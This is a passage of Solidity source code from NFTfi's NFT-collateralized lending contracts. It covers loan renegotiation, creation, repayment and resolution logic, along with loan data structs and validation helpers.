function getPayoffAmount(uint32 _loanId) external view virtual returns (uint256);
/**
* @notice This function can be used to view whether a particular nonce for a particular user has already been used,
* either from a successful loan or a cancelled off-chain order.
*
* @param _user - The address of the user. This function works for both lenders and borrowers alike.
* @param _nonce - The nonce referred to here is not the same as an Ethereum account's nonce. We are referring
* instead to nonces that are used by both the lender and the borrower when they are first signing off-chain
* NFTfi orders. These nonces can be any uint256 value that the user has not previously used to sign an off-chain
* order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the lender or
* the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling NFTfi.cancelLoanCommitmentBeforeLoanHasBegun()
* , which marks the nonce as used and prevents any future loan from using the user's off-chain order that contains
* that nonce.
*
* @return A bool representing whether or not this nonce has been used for this user.
*/
function getWhetherNonceHasBeenUsedForUser(address _user, uint256 _nonce) external view override returns (bool) {
return _nonceHasBeenUsedForUser[_user][_nonce];
}
/**
* @notice This function can be called by anyone to get the permit associated with the erc20 contract.
*
* @param _erc20 - The address of the erc20 contract.
*
* @return Returns whether the erc20 is permitted
*/
function getERC20Permit(address _erc20) public view override returns (bool) {
return erc20Permits[_erc20];
}
/* ****************** */
/* INTERNAL FUNCTIONS */
/* ****************** */
/**
* @dev makes possible to change loan duration and max repayment amount, loan duration even can be extended if
* loan was expired but not liquidated. IMPORTANT: Frontend will have to propt the caller to do an ERC20 approve for
* the fee amount from themselves (borrower/obligation reciept holder) to the lender (promissory note holder)
*
* @param _loanId - The unique identifier for the loan to be renegotiated
* @param _newLoanDuration - The new amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param _newMaximumRepaymentAmount - The new maximum amount of money that the borrower would be required to
* retrieve their collateral, measured in the smallest units of the ERC20 currency used for the loan. The
* borrower will always have to pay this amount to retrieve their collateral, regardless of whether they repay
* early.
* @param _renegotiationFee Agreed upon fee in loan denomination that borrower pays for the lender and
* the admin for the renegotiation, has to be paid with an ERC20 transfer loanERC20Denomination token,
* uses transfer from, frontend will have to propmt an erc20 approve for this from the borrower to the lender,
* admin fee is calculated by the loan's loanAdminFeeInBasisPoints value
* @param _lenderNonce - The nonce referred to here is not the same as an Ethereum account's nonce. We are
* referring instead to nonces that are used by both the lender and the borrower when they are first signing
* off-chain NFTfi orders. These nonces can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling NFTfi.cancelLoanCommitmentBeforeLoanHasBegun()
, which marks the nonce as used and prevents any future loan from using the user's off-chain order that contains
* that nonce.
* @param _expiry - The date when the renegotiation offer expires
* @param _lenderSignature - The ECDSA signature of the lender, obtained off-chain ahead of time, signing the
* following combination of parameters:
* - _loanId
* - _newLoanDuration
* - _newMaximumRepaymentAmount
* - _lender
* - _expiry
* - address of this contract
* - chainId
*/
function _renegotiateLoan(
uint32 _loanId,
uint32 _newLoanDuration,
uint256 _newMaximumRepaymentAmount,
uint256 _renegotiationFee,
uint256 _lenderNonce,
uint256 _expiry,
bytes memory _lenderSignature
) internal {
LoanTerms storage loan = loanIdToLoan[_loanId];
(address borrower, address lender) = LoanChecksAndCalculations.renegotiationChecks(
loan,
_loanId,
_newLoanDuration,
_newMaximumRepaymentAmount,
_lenderNonce,
hub
);
_nonceHasBeenUsedForUser[lender][_lenderNonce] = true;
require(
NFTfiSigningUtils.isValidLenderRenegotiationSignature(
_loanId,
_newLoanDuration,
_newMaximumRepaymentAmount,
_renegotiationFee,
Signature({signer: lender, nonce: _lenderNonce, expiry: _expiry, signature: _lenderSignature})
),
"Renegotiation signature is invalid"
);
uint256 renegotiationAdminFee;
/**
* @notice Transfers fee to the lender immediately
* @dev implements Checks-Effects-Interactions pattern by modifying state only after
* the transfer happened successfully, we also add the nonReentrant modifier to
* the pbulic versions
*/
if (_renegotiationFee > 0) {
renegotiationAdminFee = LoanChecksAndCalculations.computeAdminFee(
_renegotiationFee,
loan.loanAdminFeeInBasisPoints
);
// Transfer principal-plus-interest-minus-fees from the caller (always has to be borrower) to lender
IERC20(loan.loanERC20Denomination).safeTransferFrom(
borrower,
lender,
_renegotiationFee - renegotiationAdminFee
);
// Transfer fees from the caller (always has to be borrower) to admins
IERC20(loan.loanERC20Denomination).safeTransferFrom(borrower, owner(), renegotiationAdminFee);
}
loan.loanDuration = _newLoanDuration;
loan.maximumRepaymentAmount = _newMaximumRepaymentAmount;
emit LoanRenegotiated(
_loanId,
borrower,
lender,
_newLoanDuration,
_newMaximumRepaymentAmount,
_renegotiationFee,
renegotiationAdminFee
);
}
/**
* @dev Transfer collateral NFT from borrower to this contract and principal from lender to the borrower and
* registers the new loan through the loan coordinator.
*
* @param _loanType - The type of loan it is being created
* @param _loanTerms - Struct containing the loan's settings
* @param _loanExtras - Struct containing some loan's extra settings, needed to avoid stack too deep
* @param _lender - The address of the lender.
* @param _referrer - The address of the referrer who found the lender matching the listing, Zero address to signal
* that there is no referrer.
*/
function _createLoan(
bytes32 _loanType,
LoanTerms memory _loanTerms,
LoanExtras memory _loanExtras,
address _borrower,
address _lender,
address _referrer
) internal returns (uint32) {
// Transfer collateral from borrower to this contract to be held until
// loan completion.
_transferNFT(_loanTerms, _borrower, address(this));
return _createLoanNoNftTransfer(_loanType, _loanTerms, _loanExtras, _borrower, _lender, _referrer);
}
/**
* @dev Transfer principal from lender to the borrower and
* registers the new loan through the loan coordinator.
*
* @param _loanType - The type of loan it is being created
* @param _loanTerms - Struct containing the loan's settings
* @param _loanExtras - Struct containing some loan's extra settings, needed to avoid stack too deep
* @param _lender - The address of the lender.
* @param _referrer - The address of the referrer who found the lender matching the listing, Zero address to signal
* that there is no referrer.
*/
function _createLoanNoNftTransfer(
bytes32 _loanType,
LoanTerms memory _loanTerms,
LoanExtras memory _loanExtras,
address _borrower,
address _lender,
address _referrer
) internal returns (uint32 loanId) {
_escrowTokens[_loanTerms.nftCollateralContract][_loanTerms.nftCollateralId] += 1;
uint256 referralfee = LoanChecksAndCalculations.computeReferralFee(
_loanTerms.loanPrincipalAmount,
_loanExtras.referralFeeInBasisPoints,
_referrer
);
uint256 principalAmount = _loanTerms.loanPrincipalAmount - referralfee;
if (referralfee > 0) {
// Transfer the referral fee from lender to referrer.
IERC20(_loanTerms.loanERC20Denomination).safeTransferFrom(_lender, _referrer, referralfee);
}
// Transfer principal from lender to borrower.
IERC20(_loanTerms.loanERC20Denomination).safeTransferFrom(_lender, _borrower, principalAmount);
// Issue an ERC721 promissory note to the lender that gives them the
// right to either the principal-plus-interest or the collateral,
// and an obligation note to the borrower that gives them the
// right to pay back the loan and get the collateral back.
IDirectLoanCoordinator loanCoordinator = IDirectLoanCoordinator(hub.getContract(LOAN_COORDINATOR));
loanId = loanCoordinator.registerLoan(_lender, _loanType);
// Add the loan to storage before moving collateral/principal to follow
// the Checks-Effects-Interactions pattern.
loanIdToLoan[loanId] = _loanTerms;
loanIdToLoanExtras[loanId] = _loanExtras;
return loanId;
}
/**
* @dev Transfers several types of NFTs using a wrapper that knows how to handle each case.
*
* @param _loanTerms - Struct containing all the loan's parameters
* @param _sender - Current owner of the NFT
* @param _recipient - Recipient of the transfer
*/
function _transferNFT(
LoanTerms memory _loanTerms,
address _sender,
address _recipient
) internal {
Address.functionDelegateCall(
_loanTerms.nftCollateralWrapper,
abi.encodeWithSelector(
INftWrapper(_loanTerms.nftCollateralWrapper).transferNFT.selector,
_sender,
_recipient,
_loanTerms.nftCollateralContract,
_loanTerms.nftCollateralId
),
"NFT not successfully transferred"
);
}
/**
* @notice This function is called by a anyone to repay a loan. It can be called at any time after the loan has
* begun and before loan expiry.. The caller will pay a pro-rata portion of their interest if the loan is paid off
* early and the loan is pro-rated type, but the complete repayment amount if it is fixed type.
* The the borrower (current owner of the obligation note) will get the collaterl NFT back.
*
* This function is purposefully not pausable in order to prevent an attack where the contract admin's pause the
* contract and hold hostage the NFT's that are still within it.
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
*/
function _payBackLoan(
uint32 _loanId,
address _borrower,
address _lender,
LoanTerms memory _loan
) internal {
// Fetch loan details from storage, but store them in memory for the sake of saving gas.
LoanExtras memory loanExtras = loanIdToLoanExtras[_loanId];
(uint256 adminFee, uint256 payoffAmount) = _payoffAndFee(_loan);
// Transfer principal-plus-interest-minus-fees from the caller to lender
IERC20(_loan.loanERC20Denomination).safeTransferFrom(msg.sender, _lender, payoffAmount);
uint256 revenueShare = LoanChecksAndCalculations.computeRevenueShare(
adminFee,
loanExtras.revenueShareInBasisPoints
);
// PermittedPartners contract doesn't allow to set a revenueShareInBasisPoints for address zero so revenuShare
// > 0 implies that revenueSharePartner ~= address(0), BUT revenueShare can be zero for a partener when the
// adminFee is low
if (revenueShare > 0 && loanExtras.revenueSharePartner != address(0)) {
adminFee -= revenueShare;
// Transfer revenue share from the caller to permitted partner
IERC20(_loan.loanERC20Denomination).safeTransferFrom(
msg.sender,
loanExtras.revenueSharePartner,
revenueShare
);
}
// Transfer fees from the caller to admins
IERC20(_loan.loanERC20Denomination).safeTransferFrom(msg.sender, owner(), adminFee);
// Emit an event with all relevant details from this transaction.
emit LoanRepaid(
_loanId,
_borrower,
_lender,
_loan.loanPrincipalAmount,
_loan.nftCollateralId,
payoffAmount,
adminFee,
revenueShare,
loanExtras.revenueSharePartner, // this could be a non address zero even if revenueShare is 0
_loan.nftCollateralContract,
_loan.loanERC20Denomination
);
}
/**
* @notice A convenience function with shared functionality between `payBackLoan` and `liquidateOverdueLoan`.
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param _nftReceiver - The receiver of the collateral nft. The borrower when `payBackLoan` or the lender when
* `liquidateOverdueLoan`.
* @param _loanTerms - The main Loan Terms struct. This data is saved upon loan creation on loanIdToLoan.
* @param _loanCoordinator - The loan coordinator used when creating the loan.
*/
function _resolveLoan(
uint32 _loanId,
address _nftReceiver,
LoanTerms memory _loanTerms,
IDirectLoanCoordinator _loanCoordinator
) internal {
_resolveLoanNoNftTransfer(_loanId, _loanTerms, _loanCoordinator);
// Transfer collateral from this contract to the lender, since the lender is seizing collateral for an overdue
// loan
_transferNFT(_loanTerms, address(this), _nftReceiver);
}
/**
* @notice Resolving the loan without trasferring the nft to provide a base for the bundle
* break up of the bundled loans
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param _loanTerms - The main Loan Terms struct. This data is saved upon loan creation on loanIdToLoan.
* @param _loanCoordinator - The loan coordinator used when creating the loan.
*/
function _resolveLoanNoNftTransfer(
uint32 _loanId,
LoanTerms memory _loanTerms,
IDirectLoanCoordinator _loanCoordinator
) internal {
// Mark loan as liquidated before doing any external transfers to follow the Checks-Effects-Interactions design
// pattern
loanRepaidOrLiquidated[_loanId] = true;
_escrowTokens[_loanTerms.nftCollateralContract][_loanTerms.nftCollateralId] -= 1;
// Destroy the lender's promissory note for this loan and borrower obligation receipt
_loanCoordinator.resolveLoan(_loanId);
}
/**
* @notice This function can be called by admins to change the permitted status of an ERC20 currency. This includes
* both adding an ERC20 currency to the permitted list and removing it.
*
* @param _erc20 - The address of the ERC20 currency whose permit list status changed.
* @param _permit - The new status of whether the currency is permitted or not.
*/
function _setERC20Permit(address _erc20, bool _permit) internal {
require(_erc20 != address(0), "erc20 is zero address");
erc20Permits[_erc20] = _permit;
emit ERC20Permit(_erc20, _permit);
}
/**
* @dev Performs some validation checks over loan parameters
*
*/
function _loanSanityChecks(LoanData.Offer memory _offer, address _nftWrapper) internal view {
require(getERC20Permit(_offer.loanERC20Denomination), "Currency denomination is not permitted");
require(_nftWrapper != address(0), "NFT collateral contract is not permitted");
require(uint256(_offer.loanDuration) <= maximumLoanDuration, "Loan duration exceeds maximum loan duration");
require(uint256(_offer.loanDuration) != 0, "Loan duration cannot be zero");
require(
_offer.loanAdminFeeInBasisPoints == adminFeeInBasisPoints,
"The admin fee has changed since this order was signed."
);
}
/**
* @dev reads some variable values of a loan for payback functions, created to reduce code repetition
*/
function _getPartiesAndData(uint32 _loanId)
internal
view
returns (
address borrower,
address lender,
LoanTerms memory loan,
IDirectLoanCoordinator loanCoordinator
)
{
loanCoordinator = IDirectLoanCoordinator(hub.getContract(LOAN_COORDINATOR));
IDirectLoanCoordinator.Loan memory loanCoordinatorData = loanCoordinator.getLoanData(_loanId);
uint256 smartNftId = loanCoordinatorData.smartNftId;
// Fetch loan details from storage, but store them in memory for the sake of saving gas.
loan = loanIdToLoan[_loanId];
if (loan.borrower != address(0)) {
borrower = loan.borrower;
} else {
// Fetch current owner of loan obligation note.
borrower = IERC721(loanCoordinator.obligationReceiptToken()).ownerOf(smartNftId);
}
lender = IERC721(loanCoordinator.promissoryNoteToken()).ownerOf(smartNftId);
}
/**
* @dev Creates a `LoanExtras` struct using data sent as the borrower's extra settings.
* This is needed in order to avoid stack too deep issues.
*/
function _setupLoanExtras(address _revenueSharePartner, uint16 _referralFeeInBasisPoints)
internal
view
returns (LoanExtras memory)
{
// Save loan details to a struct in memory first, to save on gas if any
// of the below checks fail, and to avoid the "Stack Too Deep" error by
// clumping the parameters together into one struct held in memory.
return
LoanExtras({
revenueSharePartner: _revenueSharePartner,
revenueShareInBasisPoints: LoanChecksAndCalculations.getRevenueSharePercent(_revenueSharePartner, hub),
referralFeeInBasisPoints: _referralFeeInBasisPoints
});
}
/**
* @dev Calculates the payoff amount and admin fee
*/
function _payoffAndFee(LoanTerms memory _loanTerms) internal view virtual returns (uint256, uint256);
/**
* @dev Checks that the collateral is a supported contracts and returns what wrapper to use for the loan's NFT
* collateral contract.
*
* @param _nftCollateralContract - The address of the the NFT collateral contract.
*
* @return Address of the NftWrapper to use for the loan's NFT collateral.
*/
function _getWrapper(address _nftCollateralContract) internal view returns (address) {
return IPermittedNFTs(hub.getContract(ContractKeys.PERMITTED_NFTS)).getNFTWrapper(_nftCollateralContract);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
/**
* @title ContractKeys
* @author NFTfi
* @dev Common library for contract keys
*/
library ContractKeys {
bytes32 public constant PERMITTED_ERC20S = bytes32("PERMITTED_ERC20S");
bytes32 public constant PERMITTED_NFTS = bytes32("PERMITTED_NFTS");
bytes32 public constant PERMITTED_PARTNERS = bytes32("PERMITTED_PARTNERS");
bytes32 public constant NFT_TYPE_REGISTRY = bytes32("NFT_TYPE_REGISTRY");
bytes32 public constant LOAN_REGISTRY = bytes32("LOAN_REGISTRY");
bytes32 public constant PERMITTED_SNFT_RECEIVER = bytes32("PERMITTED_SNFT_RECEIVER");
bytes32 public constant PERMITTED_BUNDLE_ERC20S = bytes32("PERMITTED_BUNDLE_ERC20S");
bytes32 public constant PERMITTED_AIRDROPS = bytes32("PERMITTED_AIRDROPS");
bytes32 public constant AIRDROP_RECEIVER = bytes32("AIRDROP_RECEIVER");
bytes32 public constant AIRDROP_FACTORY = bytes32("AIRDROP_FACTORY");
bytes32 public constant AIRDROP_FLASH_LOAN = bytes32("AIRDROP_FLASH_LOAN");
bytes32 public constant NFTFI_BUNDLER = bytes32("NFTFI_BUNDLER");
string public constant AIRDROP_WRAPPER_STRING = "AirdropWrapper";
/**
* @notice Returns the bytes32 representation of a string
* @param _key the string key
* @return id bytes32 representation
*/
function getIdFromStringKey(string memory _key) external pure returns (bytes32 id) {
require(bytes(_key).length <= 32, "invalid key");
// solhint-disable-next-line no-inline-assembly
assembly {
id := mload(add(_key, 32))
}
}
}
// SPDX-License-Identifier: BUSL-1.1
import "./LoanData.sol";
pragma solidity 0.8.4;
interface IDirectLoanBase {
function maximumLoanDuration() external view returns (uint256);
function adminFeeInBasisPoints() external view returns (uint16);
// solhint-disable-next-line func-name-mixedcase
function LOAN_COORDINATOR() external view returns (bytes32);
function loanIdToLoan(uint32)
external
view
returns (
uint256,
uint256,
uint256,
address,
uint32,
uint16,
uint16,
address,
uint64,
address,
address
);
function loanRepaidOrLiquidated(uint32) external view returns (bool);
function getWhetherNonceHasBeenUsedForUser(address _user, uint256 _nonce) external view returns (bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
/**
* @title LoanData
* @author NFTfi
* @notice An interface containg the main Loan struct shared by Direct Loans types.
*/
interface LoanData {
/* ********** */
/* DATA TYPES */
/* ********** */
/**
* @notice The main Loan Terms struct. This data is saved upon loan creation.
*
* @param loanERC20Denomination - The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* @param loanPrincipalAmount - The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param maximumRepaymentAmount - The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always have
* to pay this amount to retrieve their collateral, regardless of whether they repay early.
* @param nftCollateralContract - The address of the the NFT collateral contract.
* @param nftCollateralWrapper - The NFTfi wrapper of the NFT collateral contract.
* @param nftCollateralId - The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* @param loanStartTime - The block.timestamp when the loan first began (measured in seconds).
* @param loanDuration - The amount of time (measured in seconds) that can elapse before the lender can liquidate
* the loan and seize the underlying collateral NFT.
* @param loanInterestRateForDurationInBasisPoints - This is the interest rate (measured in basis points, e.g.
* hundreths of a percent) for the loan, that must be repaid pro-rata by the borrower at the conclusion of the loan
* or risk seizure of their nft collateral. Note if the type of the loan is fixed then this value is not used and
* is irrelevant so it should be set to 0.
* @param loanAdminFeeInBasisPoints - The percent (measured in basis points) of the interest earned that will be
* taken as a fee by the contract admins when the loan is repaid. The fee is stored in the loan struct to prevent an
* attack where the contract admins could adjust the fee right before a loan is repaid, and take all of the interest
* earned.
* @param borrower
*/
struct LoanTerms {
uint256 loanPrincipalAmount;
uint256 maximumRepaymentAmount;
uint256 nftCollateralId;
address loanERC20Denomination;
uint32 loanDuration;
uint16 loanInterestRateForDurationInBasisPoints;
uint16 loanAdminFeeInBasisPoints;
address nftCollateralWrapper;
uint64 loanStartTime;
address nftCollateralContract;
address borrower;
}
/**
* @notice Some extra Loan's settings struct. This data is saved upon loan creation.
* We need this to avoid stack too deep errors.
*
* @param revenueSharePartner - The address of the partner that will receive the revenue share.
* @param revenueShareInBasisPoints - The percent (measured in basis points) of the admin fee amount that will be
* taken as a revenue share for a t
* @param referralFeeInBasisPoints - The percent (measured in basis points) of the loan principal amount that will
* be taken as a fee to pay to the referrer, 0 if the lender is not paying referral fee.he partner, at the moment
* the loan is begun.
*/
struct LoanExtras {
address revenueSharePartner;
uint16 revenueShareInBasisPoints;
uint16 referralFeeInBasisPoints;
}
/**
* @notice The offer made by the lender. Used as parameter on both acceptOffer (initiated by the borrower) and
* acceptListing (initiated by the lender).
*
* @param loanERC20Denomination - The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* @param loanPrincipalAmount - The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param maximumRepaymentAmount - The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always
* have to pay this amount to retrieve their collateral, regardless of whether they repay early.
* @param nftCollateralContract - The address of the ERC721 contract of the NFT collateral.
* @param nftCollateralId - The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* @param referrer - The address of the referrer who found the lender matching the listing, Zero address to signal
* this there is no referrer.
* @param loanDuration - The amount of time (measured in seconds) that can elapse before the lender can liquidate
* the loan and seize the underlying collateral NFT.
* @param loanAdminFeeInBasisPoints - The percent (measured in basis points) of the interest earned that will be
* taken as a fee by the contract admins when the loan is repaid. The fee is stored in the loan struct to prevent an
* attack where the contract admins could adjust the fee right before a loan is repaid, and take all of the interest
* earned.
*/
struct Offer {
uint256 loanPrincipalAmount;
uint256 maximumRepaymentAmount;
uint256 nftCollateralId;
address nftCollateralContract;
uint32 loanDuration;
uint16 loanAdminFeeInBasisPoints;
address loanERC20Denomination;
address referrer;
}
/**
* @notice Signature related params. Used as parameter on both acceptOffer (containing borrower signature) and
* acceptListing (containing lender signature).
*
* @param signer - The address of the signer. The borrower for `acceptOffer` the lender for `acceptListing`.
* @param nonce - The nonce referred here is not the same as an Ethereum account's nonce.
* We are referring instead to a nonce that is used by the lender or the borrower when they are first signing
* off-chain NFTfi orders. These nonce can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling NFTfi.cancelLoanCommitmentBeforeLoanHasBegun()
* , which marks the nonce as used and prevents any future loan from using the user's off-chain order that contains
* that nonce.
* @param expiry - Date when the signature expires
* @param signature - The ECDSA signature of the borrower or the lender, obtained off-chain ahead of time, signing
* the following combination of parameters:
* - Borrower
* - ListingTerms.loanERC20Denomination,
* - ListingTerms.minLoanPrincipalAmount,
* - ListingTerms.maxLoanPrincipalAmount,
* - ListingTerms.nftCollateralContract,
* - ListingTerms.nftCollateralId,
* - ListingTerms.revenueSharePartner,
* - ListingTerms.minLoanDuration,
* - ListingTerms.maxLoanDuration,
* - ListingTerms.maxInterestRateForDurationInBasisPoints,
* - ListingTerms.referralFeeInBasisPoints,
* - Signature.signer,
* - Signature.nonce,
* - Signature.expiry,
* - address of the loan type contract
* - chainId
* - Lender:
* - Offer.loanERC20Denomination
* - Offer.loanPrincipalAmount
* - Offer.maximumRepaymentAmount
* - Offer.nftCollateralContract
* - Offer.nftCollateralId
* - Offer.referrer
* - Offer.loanDuration
* - Offer.loanAdminFeeInBasisPoints
* - Signature.signer,
* - Signature.nonce,
* - Signature.expiry,
* - address of the loan type contract
* - chainId
*/
struct Signature {
uint256 nonce;
uint256 expiry;
address signer;
bytes signature;
}
/**
* @notice Some extra parameters that the borrower needs to set when accepting an offer.
*
* @param revenueSharePartner - The address of the partner that will receive the revenue share.
* @param referralFeeInBasisPoints - The percent (measured in basis points) of the loan principal amount that will
* be taken as a fee to pay to the referrer, 0 if the lender is not paying referral fee.
*/
struct BorrowerSettings {
address revenueSharePartner;
uint16 referralFeeInBasisPoints;
}
/**
* @notice Terms the borrower set off-chain and is willing to accept automatically when fulfiled by a lender's
* offer.
*
* @param loanERC20Denomination - The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* @param minLoanPrincipalAmount - The minumum sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param maxLoanPrincipalAmount - The sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param maximumRepaymentAmount - The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always have
* to pay this amount to retrieve their collateral, regardless of whether they repay early.
* @param nftCollateralContract - The address of the ERC721 contract of the NFT collateral.
* @param nftCollateralId - The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* @param revenueSharePartner - The address of the partner that will receive the revenue share.
* @param minLoanDuration - The minumum amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param maxLoanDuration - The maximum amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param maxInterestRateForDurationInBasisPoints - This is maximum the interest rate (measured in basis points,
* e.g. hundreths of a percent) for the loan.
* @param referralFeeInBasisPoints - The percent (measured in basis points) of the loan principal amount that will
* be taken as a fee to pay to the referrer, 0 if the lender is not paying referral fee.
*/
struct ListingTerms {
uint256 minLoanPrincipalAmount;
uint256 maxLoanPrincipalAmount;
uint256 nftCollateralId;
address nftCollateralContract;
uint32 minLoanDuration;
uint32 maxLoanDuration;
uint16 maxInterestRateForDurationInBasisPoints;
uint16 referralFeeInBasisPoints;
address revenueSharePartner;
address loanERC20Denomination;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "./IDirectLoanBase.sol";
import "./LoanData.sol";
import "../../../interfaces/IDirectLoanCoordinator.sol";
import "../../../utils/ContractKeys.sol";
import "../../../interfaces/INftfiHub.sol";
import "../../../interfaces/IPermittedPartners.sol";
import "../../../interfaces/IPermittedERC20s.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/**
* @title LoanChecksAndCalculations
* @author NFTfi
* @notice Helper library for LoanBase
*/
library LoanChecksAndCalculations {
uint16 private constant HUNDRED_PERCENT = 10000;
/**
* @dev Function that performs some validation checks before trying to repay a loan
*
* @param _loanId - The id of the loan being repaid
*/
function payBackChecks(uint32 _loanId, INftfiHub _hub) external view {
checkLoanIdValidity(_loanId, _hub);
// Sanity check that payBackLoan() and liquidateOverdueLoan() have never been called on this loanId.
// Depending on how the rest of the code turns out, this check may be unnecessary.
require(!IDirectLoanBase(address(this)).loanRepaidOrLiquidated(_loanId), "Loan already repaid/liquidated");
// Fetch loan details from storage, but store them in memory for the sake of saving gas.
(, , , , uint32 loanDuration, , , , uint64 loanStartTime, , ) = IDirectLoanBase(address(this)).loanIdToLoan(
_loanId
);
// When a loan exceeds the loan term, it is expired. At this stage the Lender can call Liquidate Loan to resolve
// the loan.
require(block.timestamp <= (uint256(loanStartTime) + uint256(loanDuration)), "Loan is expired");
}
function checkLoanIdValidity(uint32 _loanId, INftfiHub _hub) public view {
require(
IDirectLoanCoordinator(_hub.getContract(IDirectLoanBase(address(this)).LOAN_COORDINATOR())).isValidLoanId(
_loanId,
address(this)
),
"invalid loanId"
);
}
/**
* @dev Function that the partner is permitted and returns its shared percent.
*
* @param _revenueSharePartner - Partner's address
*
* @return The revenue share percent for the partner.
*/
function getRevenueSharePercent(address _revenueSharePartner, INftfiHub _hub) external view returns (uint16) {
// return soon if no partner is set to avoid a public call
if (_revenueSharePartner == address(0)) {
return 0;
}
uint16 revenueSharePercent = IPermittedPartners(_hub.getContract(ContractKeys.PERMITTED_PARTNERS))
.getPartnerPermit(_revenueSharePartner);
return revenueSharePercent;
}
/**
* @dev Performs some validation checks before trying to renegotiate a loan.
* Needed to avoid stack too deep.
*
* @param _loan - The main Loan Terms struct.
* @param _loanId - The unique identifier for the loan to be renegotiated
* @param _newLoanDuration - The new amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param _newMaximumRepaymentAmount - The new maximum amount of money that the borrower would be required to
* retrieve their collateral, measured in the smallest units of the ERC20 currency used for the loan. The
* borrower will always have to pay this amount to retrieve their collateral, regardless of whether they repay
* early.
* @param _lenderNonce - The nonce referred to here is not the same as an Ethereum account's nonce. We are
* referring instead to nonces that are used by both the lender and the borrower when they are first signing
* off-chain NFTfi orders. These nonces can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling NFTfi.cancelLoanCommitmentBeforeLoanHasBegun()
, which marks the nonce as used and prevents any future loan from using the user's off-chain order that contains
* that nonce.
* @return Borrower and Lender addresses
*/
function renegotiationChecks(
LoanData.LoanTerms memory _loan,
uint32 _loanId,
uint32 _newLoanDuration,
uint256 _newMaximumRepaymentAmount,
uint256 _lenderNonce,
INftfiHub _hub
) external view returns (address, address) {
checkLoanIdValidity(_loanId, _hub);
IDirectLoanCoordinator loanCoordinator = IDirectLoanCoordinator(
_hub.getContract(IDirectLoanBase(address(this)).LOAN_COORDINATOR())
);
uint256 smartNftId = loanCoordinator.getLoanData(_loanId).smartNftId;
address borrower;
if (_loan.borrower != address(0)) {
borrower = _loan.borrower;
} else {
borrower = IERC721(loanCoordinator.obligationReceiptToken()).ownerOf(smartNftId);
}
require(msg.sender == borrower, "Only borrower can initiate");
require(block.timestamp <= (uint256(_loan.loanStartTime) + _newLoanDuration), "New duration already expired");
require(
uint256(_newLoanDuration) <= IDirectLoanBase(address(this)).maximumLoanDuration(),
"New duration exceeds maximum loan duration"
);
require(!IDirectLoanBase(address(this)).loanRepaidOrLiquidated(_loanId), "Loan already repaid/liquidated");
require(
_newMaximumRepaymentAmount >= _loan.loanPrincipalAmount,
"Negative interest rate loans are not allowed."
);
// Fetch current owner of loan promissory note.
address lender = IERC721(loanCoordinator.promissoryNoteToken()).ownerOf(smartNftId);
require(
!IDirectLoanBase(address(this)).getWhetherNonceHasBeenUsedForUser(lender, _lenderNonce),
"Lender nonce invalid"
);
return (borrower, lender);
}
/**
* @dev Performs some validation checks over loan parameters when accepting a listing
*
*/
function bindingTermsSanityChecks(LoanData.ListingTerms memory _listingTerms, LoanData.Offer memory _offer)
external
pure
{
// offer vs listing validations
require(_offer.loanERC20Denomination == _listingTerms.loanERC20Denomination, "Invalid loanERC20Denomination");
require(
_offer.loanPrincipalAmount >= _listingTerms.minLoanPrincipalAmount &&
_offer.loanPrincipalAmount <= _listingTerms.maxLoanPrincipalAmount,
"Invalid loanPrincipalAmount"
);
uint256 maxRepaymentLimit = _offer.loanPrincipalAmount +
(_offer.loanPrincipalAmount * _listingTerms.maxInterestRateForDurationInBasisPoints) /
HUNDRED_PERCENT;
require(_offer.maximumRepaymentAmount <= maxRepaymentLimit, "maxInterestRateForDurationInBasisPoints violated");
require(
_offer.loanDuration >= _listingTerms.minLoanDuration &&
_offer.loanDuration <= _listingTerms.maxLoanDuration,
"Invalid loanDuration"
);
}
/**
